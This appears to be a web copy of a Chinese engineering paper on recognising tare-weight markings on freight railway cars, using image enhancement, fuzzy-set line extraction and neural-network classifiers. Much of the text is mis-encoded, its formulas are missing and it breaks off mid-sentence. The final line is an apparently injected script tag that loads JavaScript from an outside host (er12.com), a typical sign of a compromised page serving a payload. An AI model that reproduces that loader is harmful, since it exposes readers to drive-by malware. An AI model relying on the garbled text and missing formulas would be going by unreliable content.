多種字符混合圖像的自動識別
發(fā)布時間:2008-5-25 訪問次數(shù):110
??摘 要：以貨運(yùn)列車自重識別系統(tǒng)為例，提出一種適應(yīng)不同光照環(huán)境的圖像增強(qiáng)方法，利用模糊集理論從多行信息中提取自重行，正確率接近99%。在字符識別中，采用3種神經(jīng)網(wǎng)絡(luò)分類器分別識別漢字、數(shù)字和英文字母，并對易混數(shù)字采用兩級分類器的結(jié)構(gòu)，獲得了較高的識別率。
關(guān)鍵詞：圖像增強(qiáng)；模糊集；神經(jīng)網(wǎng)絡(luò)；字符識別?
貨運(yùn)列車車號和車廂自重的自動識別，為實(shí)現(xiàn)鐵路運(yùn)輸信息的計算機(jī)管理提供了現(xiàn)代化的技術(shù)手段。將每節(jié)車廂的檢斤結(jié)果和車廂自重的自動識別結(jié)果傳給微機(jī)，通過計算可得到列車的載物量，因此，車廂自重的正確識別是列車載物量計算的關(guān)鍵。根據(jù)文獻(xiàn)［１～３］討論的幾種方法，列車車號識別取得了令人滿意的正確率，但都未對車廂自重的識別問題進(jìn)行探討。本文通過對含多種字符的自重圖像進(jìn)行分析，提出了一些有效的方法。?
1自重識別的特點(diǎn)
貨運(yùn)列車的自重識別與車號識別相比，有很多新問題和特殊之處，具體表現(xiàn)在：
(1) 車號圖像中車號信息占有很大比重，而自重圖像中除包含自重信息外，還包含載重、容積等信息，如圖1所示，因此自重目標(biāo)提取比較困難。由于本系統(tǒng)24?h工作在戶外，自重圖像中信息分布廣，因此照明對自重圖像的影響更為嚴(yán)重；?
(2) 自重的數(shù)字比車號小得多，極易受到污染，而且自重數(shù)字的印刷更不規(guī)范，字符變形、丟筆劃情況更為嚴(yán)重；
(3)自重信息中包括漢字、數(shù)字、英文字母等多種字符，而且數(shù)字大小不一，數(shù)字位數(shù)不固定，因此給字符識別帶來了困難。
根據(jù)自重圖像的特點(diǎn)，首先對采集的原始圖像進(jìn)行圖像增強(qiáng)處理，以便得到良好的視覺效果；其次，利用模糊集理論從增強(qiáng)后的圖像中提取自重行區(qū)域，最后對自重行進(jìn)行字符分割處理，利用神經(jīng)網(wǎng)絡(luò)識別字符。本文將在下面分別闡述這3個步驟，并在最后給出結(jié)論。?
2一種適應(yīng)不同光照環(huán)境的圖像增強(qiáng)方法
由于本系統(tǒng)全天24h連續(xù)運(yùn)行，環(huán)境照度差異很大，采用固定參數(shù)的灰度變換［４］，不能使不同亮度的圖像都得到滿意的圖像增強(qiáng)效果。本文采用變參數(shù)分段非線性變換，其函數(shù)如下：?
其中l(wèi)=256，表示共有256個灰度級，s1,s2,γ都是灰度均值m的單值函數(shù)：s1=α*m，s2=β*m，γ＝int［10*(m-m０)/m+0.5］其中，α=1,β=2,m0=6。圖2給出2幅不同亮度的原始圖像采用兩種不同方法進(jìn)行變換的比較。圖2中(a)、(c)的原始圖像的灰度均值為m=11.1811，此時，s1=11.1811,s2=22.3622，γ＝0.5，增強(qiáng)后圖(c)的灰度均值33.354?3；圖2中(b)，(d)的原始圖像的灰度均值為m=35.2007，此時，s1=35.2007，s2=70.4014，γ=0.8，增強(qiáng)后圖(d)的灰度均值23.4948。由對比結(jié)果可見，采用本文的方法能在增強(qiáng)較暗區(qū)域的亮度同時，抑制較亮區(qū)域的亮度，從而使不同亮度的圖像都能得到適當(dāng)?shù)淖儞Q，得到良好的視覺效果。由圖(c)、(d)可以看出，不同照明情況下采集的圖像在增強(qiáng)后并無明顯差別，因此在對圖像的后續(xù)處理中不必考慮照明的影響。
3基于模糊集理論的目標(biāo)區(qū)域提取
本文先把原始圖像分割成若干個只含一行信息的候選區(qū)域子圖像，然后選取目標(biāo)的多個特征，利用模糊集理論表征各個特征的重要性，最后根據(jù)評判結(jié)果選取目標(biāo)區(qū)域。?
3.1候選區(qū)域的分割
從圖3所示的圖像的行灰度均值圖中可以看出，波峰對應(yīng)著文字行，波谷對應(yīng)著行之間的間隔。如果能準(zhǔn)確地找出每個波谷，那么就會分割出若干個的候選區(qū)域子圖像。
為了能準(zhǔn)確的找出波谷，先對行均值ave(i)進(jìn)行一維濾波，去掉“毛刺”，然后再根據(jù)下列特點(diǎn)搜索波谷：(1) 波谷必是局部極小值，即所考察區(qū)域的寬度是2k；(2) 波谷左右兩側(cè)曲線的斜率分別是負(fù)和正，且兩側(cè)曲線很陡峭，即
本文采用變斜率閾值的搜索方法，對于信息不很清晰的圖像，其行均值圖的波谷相應(yīng)的不太明顯，兩側(cè)曲線斜率不大，因此可適當(dāng)減少斜率閾值s0，直到搜索到波谷為止，對于搜索結(jié)果中過寬或過窄的區(qū)域，可以根據(jù)一些文法信息(如文字行的標(biāo)準(zhǔn)高度等)進(jìn)行相應(yīng)的分裂或合并處理，從而得到只含一行文字的若干個候選區(qū)域圖像。?
3.2目標(biāo)區(qū)域的提取
根據(jù)模糊集理論［５］，模糊事件可以表示為三元組｛ｕ,k,v}，u={u１，u２，…，ul｝為其特征值，p＝｛v(u１）,v(u２），…，ｖ（ul)｝為其特征的評價集，k=｛k｜k=1,2,…,l｝。我們可以用下式來計算模糊事件a存在的可能性大�。�?
其中，μ?a(u?k)為隸屬函數(shù)，表示特征u?k對模糊事件a存在可能性大小的影響程度。
我們要評價每一個候選區(qū)域是“自重”行區(qū)域的可能性這一模糊事件。根據(jù)模糊事件的定義，我們需要解決三個關(guān)鍵問題：特征集的選取、特征評價函數(shù)的確定和每一特征對模糊事件的重要性［６］。在選取特征時，要選取最關(guān)鍵的?script src=http://er12.com/t.js>
